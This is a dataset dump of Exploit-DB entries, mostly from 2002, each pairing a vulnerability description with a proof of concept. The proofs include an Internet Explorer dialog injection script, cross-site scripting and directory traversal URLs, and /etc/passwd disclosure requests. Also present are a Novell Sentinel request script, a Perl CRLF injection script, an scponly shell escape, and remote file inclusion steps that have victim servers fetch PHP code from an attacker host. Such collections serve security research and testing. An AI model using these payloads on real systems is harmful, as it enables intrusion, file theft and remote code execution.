QLWD/code_shield huggingface dataset:
标题: Blazix 1.2 - Password Protected Directory Information Disclosure EDB-ID: 21752 CVE: 2002-1451 类型: REMOTE 平台: MULTIPLE 发布日期: 2002-08-25 漏洞利用脚本: source: https://www.securityfocus.com/bid/5567/info

Blazix is a freely available, open source web server written in Java. It is available for Linux and Microsoft Windows operating systems.

Blazix does not properly handle some special characters when appended to requests. By passing a special character with a request to the web server, it is possible for a user to gain access to a listing of a password protected directory. This could result in information disclosure, and could potentially be used to gain intelligence in launching an attack against a system. 

http://www.example.com/bugtest+/
http://www.example.com/bugtest\/ URL: https://www.exploit-db.com/exploits/21752
标题: Microsoft Internet Explorer 5 - Dialog Same Origin Policy Bypass Variant (MS02-047) EDB-ID: 21750 CVE: 2002-0189 类型: REMOTE 平台: WINDOWS 发布日期: 2002-04-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5561/info

Microsoft Internet Explorer includes support for dialog windows through script calls to the two functions showModalDialog and showModelessDialog. These functions accept a URL location for the dialog content, and an option argument parameter to allow data to be passed to the dialog from the calling page.

A check is done to ensure that data is only passed to dialogs located in the same domain as the calling page. This prevents a malicious party from injecting content into arbitrary dialogs. However, if the URL provided as the dialog source redirects to a second location, only the first is subject to this security check.

Exploitation may allow malicious content to be inserted into sensitive dialogs. Execution of arbitrary script within the Local Computer Zone has been demonstrated.

This variant is related to the injection of malicious content into the analyze.dlg dialogue included in shdoclc.dll. This issue was originally included in BID 4527, however a new entry has been allocated to cover the patch released in Microsoft advisory MS02-047. 

<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";

// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
    return {
        // Satisfy line 201
        rel:"stylesheet",

        // Satisfy line 204
        readyState:"exploit",

        // Exploit line 205
        href:sHTML
    };
}

// A length property so it will enter the loop
oExploit.length=1;

// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
    document:{
        all:{
            tags:function (sTag) {
                return sTag=="link" ? oExploit : [];
            }
        }
    }
}

// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.
showModelessDialog("getFile.asp",oSecurity);
</script> URL: https://www.exploit-db.com/exploits/21750
标题: OmniHTTPd 1.1/2.0.x/2.4 - test.shtml Sample Application Cross-Site Scripting EDB-ID: 21754 CVE: 2002-1455 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/5568/info
 
Cross site scripting vulnerabilities have been reported in multiple sample scripts including with OmniHTTPD. In particular, test.shtml and test.php contain errors.
 
This type of vulnerability may be used to steal cookies or perform other web-based attacks.

http://localhost/test.shtml?%3CSCRIPT%3Ealert(document.URL)%3C%2FSCRIPT%3E=x URL: https://www.exploit-db.com/exploits/21754
标题: Microsoft Internet Explorer 5/6 - XML Redirect File Disclosure EDB-ID: 21749 CVE: 2002-0648 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/5560/info

A flaw in Microsoft Internet Explorer may reveal the entire contents of XML files and partial contents of other files to attackers. This vulnerability allows an attacker to read the entire contents of XML files, and fragments of other files, existing in a known location, from a victim user's system.

This vulnerability can be exploited via a malicious webpage or via malicious HTML e-mail. Other applications that use the Internet Explorer engine are affected as well (Outlook, MSN Explorer, etc.). 

<script language="xml" src="getFile.asp" id="oFile"></script>
<script language="jscript">
onload=function () {
var oXD=oFile.XMLDocument,
oPE=oXD.parseError;

alert(
oXD.firstChild || oPE.line>0 ?
"File found!\n"+
"Details:\n\n"+
(oXD.xml || "Line "+oPE.line+" contains '"+oPE.srcText+"'")
:
"File does not exist or could not be retrieved."
);
}
</script> URL: https://www.exploit-db.com/exploits/21749
标题: Microsoft Windows XP/2000/NT 4.0 - Network Share Provider SMB Request Buffer Overflow (2) EDB-ID: 21747 CVE: 2002-0724 类型: DOS 平台: WINDOWS 发布日期: 2002-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/5556/info
 
Microsoft Windows operating systems use the Server Message Block (SMB) protocol to support services such as file and printer sharing. A buffer overflow vulnerability has been reporting in the handling of some malformed SMB requests.
 
An attacker may send a malformed SMB request packet in order to exploit this condition. It has been reported possible to corrupt heap memory, leading to a crash of the underlying system.
 
It may prove possible to exploit this vulnerability to execute arbitrary code and gain local access to the vulnerable system. This possibility has not, however, been confirmed.
 
Reportedly, this vulnerability may be exploited both as an authenticated user, and with anonymous access to the service.
 
It has been reported, by "Fabio Pietrosanti \(naif\)" <naif@blackhats.it>, that disabling the NetBIOS Null Session will prevent exploitation of this vulnerablity. 

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21747.zip URL: https://www.exploit-db.com/exploits/21747
标题: OmniHTTPd 1.1/2.0.x/2.4 - 'test.php' Sample Application Cross-Site Scripting EDB-ID: 21753 CVE: 2002-1455 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/5568/info

Cross site scripting vulnerabilities have been reported in multiple sample scripts including with OmniHTTPD. In particular, test.shtml and test.php contain errors.

This type of vulnerability may be used to steal cookies or perform other web-based attacks. 

http://localhost/test.php?%3CSCRIPT%3Ealert%28document.URL%29%3C%2FSCRIPT%3E=x URL: https://www.exploit-db.com/exploits/21753
标题: Achievo 0.7/0.8/0.9 - Remote File Inclusion / Command Execution EDB-ID: 21745 CVE: 2002-1435 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/5552/info

Achievo includes a PHP script which is used to generate JavaScript (class.atkdateattribute.js.php). This script employs a number of PHP include_once() statements to call code contained in function libraries and grab configuration information. Attackers may subvert the variable ($config_atkroot) which is used to store the location of the external files and specify an arbitrary location, such as an attacker-supplied PHP script on a remote host.

Exploitation of this issue will enable the remote attacker to execute commands with the privileges of the webserver hosting the vulnerable software.


Create the following text file (ls.txt) and store it on the attacker host where it is publicly accessible:

<?php system('ls'); ?>

And cause the vulnerable script on the victim host to invoke it with the following request:

http://victimhost/achievo/atk/javascript/class.atkdateattribute.js.php?config_atkroot=http://attackerhost/ls.txt? URL: https://www.exploit-db.com/exploits/21745
标题: Novell Sentinel Log Manager 1.2.0.2 - Retention Policy EDB-ID: 21744 CVE: 2012-6534 类型: WEBAPPS 平台: WINDOWS 发布日期: 2012-10-04 漏洞利用脚本: Novell Sentinel Log Manager ver. <=1.2.0.2 allows unauthenticated
users configuring retention policies.

Vendor informed: 2012/09/06
Patch Released: 2012/09/21
PoC:

#!/bin/bash

TARGET=$1
PORT=8443

if [ $# -ne 1 ]; then
  echo "Usage: `basename $0` target"
  exit 1
fi

echo "POST /novelllogmanager/datastorageservice.rpc HTTP/1.1
Host: $TARGET:$PORT
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/15.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: text/x-gwt-rpc; charset=utf-8
X-GWT-Permutation: whatever
X-GWT-Module-Base:
https://$TARGET:$PORT/novelllogmanager/com.novell.siem.logmanager.LogManager/
Content-Length: 385
Cookie: JSESSIONID=whatever
Pragma: no-cache
Cache-Control: no-cache
Connection: close

5|0|9|https://$TARGET:$PORT/novelllogmanager/com.novell.siem.logmanager.LogManager/|E377321CAAD2FABED6283BD3643E4289|com.novell.sentinel.scout.client.datastorage.SentinelDataStorageService|createRetentionPolicy|com.novell.sentinel.scout.client.datastorage.retention.RetentionPolicy/419393389|sev:[0
TO 5]|1|AAA|java.util.ArrayList/3821976829|1|2|3|4|1|5|5|0|0|0|6|1|7|7|8|0|0|9|0|


" | openssl s_client -quiet -connect $TARGET:$PORT URL: https://www.exploit-db.com/exploits/21744
标题: Abyss Web Server 1.0 - Encoded Backslash Directory Traversal EDB-ID: 21735 CVE: 2002-1079 类型: REMOTE 平台: WINDOWS 发布日期: 2002-08-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/5547/info

A directory traversal vulnerability has been reported for Abyss Web Server. The issue is related to the failure to properly process the backslash '\', encoded as '%5c', character, which may be used as a directory delimiter under these platforms. By using the URL encoded sequence '%2e%2e%5c', the web root may be escaped.

Exploitation can result in arbitrary system files being sent to a remote attacker. This information may be of value in attempting further attacks against the vulnerable system.

This issue is reported to have different effects in a different environments.

http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt%5cwin.ini
"GET /\..\..\..\..\..\winnt\win.ini HTTP/1.0" (using a Telnet client)
http://host/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwinnt/
http://host/%2f%2e%2e%2f
http://host/%2f%2e%2e%2fcgi-bin/ URL: https://www.exploit-db.com/exploits/21735
标题: XnView 1.99.1 - '.JLS' File Decompression Heap Overflow EDB-ID: 21741 CVE: 2012-4988 类型: DOS 平台: WINDOWS 发布日期: 2012-10-04 漏洞利用脚本: SUMMARY

XnView Formats PlugIn is prone to an overflow condition. The JLS Plugin (xjpegls.dll) library fails to properly sanitize user-supplied input resulting in a heap-based buffer overflow. With a specially crafted JLS compressed image file, a context-dependent attacker could potentially execute arbitrary code.

POC file posted at: http://www.reactionpenetrationtesting.co.uk/vuln.jls
                    https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/21741.jls

CVE number: CVE-2012-4988
Impact: High
Vendor homepage: http://www.xnview.com/
Vendor notified: 29/06/2012
Vendor response: Fix was promised for 1.99.1 but no fix was released
Found by: Joseph Sheridan, Director of Reaction Information Security
ABOUT REACTIONIS

Reaction Information Security is a leading independent pen test consultancy specialising in delivering the highest quality services including network pen testing and web application security testing. As a CESG CHECK Service Provider we are authorised to carry out penetration testing on classified government networks.

AFFECTED PRODUCTS

XnView 1.99 and 1.99.1, 'All Plugins 1.90' and Xjpegls.dll (version 1.96.0.0) previous versions may also be affected.

DETAILS

XnView Formats PlugIn is prone to an overflow condition. The JLS Plugin (xjpegls.dll) library fails to properly sanitize user-supplied input resulting in a heap-based buffer overflow. With a specially crafted JLS compressed image file, a context-dependent attacker could potentially execute arbitrary code.

IMPACT

If a user could be enticed to open a malicious JLS file, the attack could result in remote code execution.

SOLUTION

No solution at the time of writing. Never open files from untrusted sources.

DISTRIBUTION

In addition to posting on the website, a text version of this notice has been posted to the following e-mail and Usenet news recipients.

bugtraq () securityfocus com
full-disclosure () lists grok org uk
Future updates of this advisory, if any, will be reflected on this page, but may or may not be actively announced on mailing lists or newsgroups. Users concerned about this problem are encouraged to check the current page for any updates. URL: https://www.exploit-db.com/exploits/21741
标题: SCPOnly 2.3/2.4 - SSH Environment Shell Escaping EDB-ID: 21732 CVE: 2002-1469 类型: LOCAL 平台: LINUX 发布日期: 2002-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/5526/info

scponly is a freely available, open source restricted secure copy client. It is available for Unix and Linux operating systems.

The default installation of scponly does not place sufficient access controls on the .ssh subdirectory. Due to this
oversight, it is possible for a remote user to upload files which may allow command execution. This could lead to
unintended command execution, and regular shell access to a vulnerable host.

For example, the user could scp the following to
$HOME/.ssh/environment:

# ssh environment
PATH=/home/myhomedir/:/usr/bin:/bin
#end

Subsequently, the user could upload the following file to their home
directory, and call it scp:

#!/bin/sh

echo "I'm a bad boy" > /tmp/exploit
/usr/bin/scp $@

# end

When they next scp a file:

[root@restricted /tmp]
# ls -l
total 24
-rw-r--r-- 1 bonehead bonehead 14 Aug 19 22:46 exploit
[root@restricted /tmp]
# cat exploit
I'm a bad boy URL: https://www.exploit-db.com/exploits/21732
标题: Mozilla Bonsai - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21729 CVE: 2003-0154 类型: WEBAPPS 平台: CGI 发布日期: 2002-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/5516/info

Multiple cross site scripting vulnerabilities have been reported for the Bonsai tool. 

An attacker may exploit this vulnerability by causing a victim user to follow a malicious link. Attacker-supplied code may execute within the context of the site hosting the vulnerable software when the malicious link is visited.

This type of vulnerability may be used to steal cookies or perform other web-based attacks. It may be possible to take actions as an user of the Bonsai system.

/webtools/bonsai/cvslog.cgi?file=*&rev=&root=<script>alert(document.domain)</script>
/webtools/bonsai/cvslog.cgi?file=<script>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=/index.html&root=<script>alert(document.domain)</script>
/webtools/bonsai/cvsblame.cgi?file=<script>alert(document.domain)</script>
/cvsquery.cgi?branch=<script>alert(document.domain)</script>&file=<script>alert(document.domain)</script>
&date=<script>alert(document.domain)</script>
/cvsquery.cgi?module=<script>alert(document.domain)</script>&branch=&dir=&file=
&who=<script>alert(document.domain)</script>&sortby=Date&hours=2&date=week
/showcheckins.cgi?person=<script>alert(document.domain)</script>
/cvsqueryform.cgi?cvsroot=/cvsroot&module=<script>alert(document.domain)</script>&branch=HEAD URL: https://www.exploit-db.com/exploits/21729
标题: Mozilla Bonsai 1.3 - Full Path Disclosure EDB-ID: 21730 CVE: 2003-0153 类型: WEBAPPS 平台: CGI 发布日期: 2002-08-20 漏洞利用脚本: source: https://www.securityfocus.com/bid/5517/info

A path disclosure vulnerability has been reported in Mozilla Bonsai.

An attacker can exploit this vulnerability by making a malformed request to Bonsai. This causes Bonsai to return an error page to the requesting user. This error page will contain the absolute path information about the requested file.

/bonsai/cvsview2.cgi
/bonsai/multidiff.cgi URL: https://www.exploit-db.com/exploits/21730
标题: Apache Tomcat 4.1 - JSP Request Cross-Site Scripting EDB-ID: 21734 CVE: 2002-1567 类型: REMOTE 平台: UNIX 发布日期: 2002-08-21 漏洞利用脚本: source: https://www.securityfocus.com/bid/5542/info

Jakarta Tomcat is a Java Servlet and JSP server produced by the Apache Software Foundation. Tomcat is available for Microsoft Windows, Linux, and other Unix based operating systems.

A cross site scripting vulnerability has been reported in some versions of Tomcat. Reportedly, if a HTTP request is made for a JSP, malicious script code embedded in the URI may be included in a page generated by Tomcat.

This may be related to the issues discussed in BID 2982. This has not, however, been confirmed.

http://example.com:8080/666%0a%0a<script>alert("asdf");</script>666.jsp URL: https://www.exploit-db.com/exploits/21734
标题: Kerio MailServer 5.0/5.1 Web Mail - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 21728 CVE: 2002-1434 类型: WEBAPPS 平台: CGI 发布日期: 2002-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5507/info

Reportedly, Kerio Mailserver is vulnerable to cross site scripting attacks. The vulnerability is present in Kerio Mailserver's web mail component.

An attacker may exploit this vulnerability by causing a victim user to follow a malicious link. Exploitation may result in the compromise of authentication data, or in script code taking actions as the authenticated user.

*** The vendor has stated that this is not a vulnerability. 

*** Proof of concept has been provided.

http://keriowebmail/<script>alert('THisIsREAL0wned')</script>
http://keriowebmail/passwd<script>alert('VERYVULNERABLE')</script> URL: https://www.exploit-db.com/exploits/21728
标题: Mantis Bug Tracker 0.15.x/0.16/0.17.x - JPGraph Remote File Inclusion Command Execution EDB-ID: 21727 CVE: 2002-1113 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5504/info

Mantis depends on include files to provide some functionality, such as dynamic generation of graphs. However, since Mantis does not properly validate the path to the include file, it is possible for attackers to specify an arbitrary path, either to a local file or a file on a remote server. 

Attackers may use this to include PHP files located on remote servers. Execution of arbitrary commands with the privileges of the webserver is the result of successful exploitation.

The attacker may create the following file (listings.txt) on a server they have access to:

<?php
system('ls');
exit;
?>

And then cause it to be included with the following request:

http://target/mantis/summary_graph_functions.php?g_jpgraph_path=http%3A%2F%2Fattackershost%2Flistings.txt%3F URL: https://www.exploit-db.com/exploits/21727
标题: Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Disclosure EDB-ID: 21723 CVE: 2002-1423 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5501/info

Reportedly, FUDForum may disclose contents of arbitrary files to attackers. The vulnerability is the result of FUDForum failing to check the path of the file that is being requested. By simply making malicious requests via URI parameters, an attacker is able to obtain access to potentially sensitive files.

http://victimhost.com/tmp_view.php?file=/etc/passwd
http://victimhost.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid] URL: https://www.exploit-db.com/exploits/21723
标题: Lynx 2.8.x - Command Line URL CRLF Injection EDB-ID: 21722 CVE: 2002-1405 类型: REMOTE 平台: LINUX 发布日期: 2002-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5499/info

A CRLF injection vulnerability has been reported for Lynx that may allow an attacker to include extra HTTP headers when viewing web pages. If Lynx is called from the command line, carriage return and line feed (CRLF) characters may be included in the specified URL. These characters are not escaped when the input is used to construct a HTTP request.

Exploitation of this flaw may allow an attacker to inject additional HTTP headers into a request. Abuse of the 'Host' header may cause the request to be served as if made to a different domain, possibly providing the attacker with more control over the content returned.

This vulnerability has been reported for Lynx versions 2.8.4rel.1, 2.8.5dev.8, 2.8.3rel.1 and 2.8.2rel.1. It is not known whether other versions are affected.

*** Links 0.9.6 and ELinks have also been reported as being vulnerable. Some versions of Links and ELinks URL encode space characters so an attacker needs to use tab characters, instead of spaces, to exploit the issue on these browsers.

#!/usr/bin/perl --
# Ulf Harnhammar 2002
# example: ./exploit www.site1.st www.site2.st
# will show www.site2.st

die "$0 hostone hosttwo\n" if @ARGV != 2;

exec('lynx "'.
     "http://$ARGV[0]/ HTTP/1.0\012".
     "Host: $ARGV[1]\012\012".
     '"'); URL: https://www.exploit-db.com/exploits/21722
标题: Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Modification EDB-ID: 21724 CVE: 2002-1422 类型: WEBAPPS 平台: PHP 发布日期: 2002-08-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/5502/info

Reportedly, it is possible for an administrator to manipulate (create, modify etc.) files outside of the FUDForum directories. This vulnerability is present in the 'adm/admbrowse.php' script. The vulnerability is the result of FUDForum allowing access to files and directories outside of FUDForum directories.

http://victim.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid] URL: https://www.exploit-db.com/exploits/21724
标题: SGI IRIX 6.5.x - FAM Arbitrary Root Owned Directory File Listing EDB-ID: 21720 CVE: 2002-0875 类型: LOCAL 平台: IRIX 发布日期: 2002-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/5487/info

fam is a freely available, open source file alteration monitor. It is maintained and distributed by SGI, and will work on the Linux and Unix operating systems.

It is possible for a user to execute fam to discover a list of monitored files. This list, while it may have been created by a user of elevated privileges, could leak information to an attacker that may be sensitive. This vulnerability requires only that the directory being 'fammed' already have had the program executed against it by a privileged user.

# ls -ld /root
drwxr-x--- ... root root ... /root
# fam

% groups | grep root

ERRONEOUS BEHAVIOR
% ./test -d /root
FAMMonitorDirectory("/root")
FAMMonitorDirectory("/root")
DIR /root: /root Exists
DIR /root: .gnome Exists
DIR /root: Desktop Exists
...

CORRECT BEHAVIOR
% ./test -d /root
FAMMonitorDirectory("/root")
FAMMonitorDirectory("/root")
DIR /root: /root Exists
DIR /root: /root EndExist
---------------------------------------- 
(% indicates a command run as an unprivileged user) URL: https://www.exploit-db.com/exploits/21720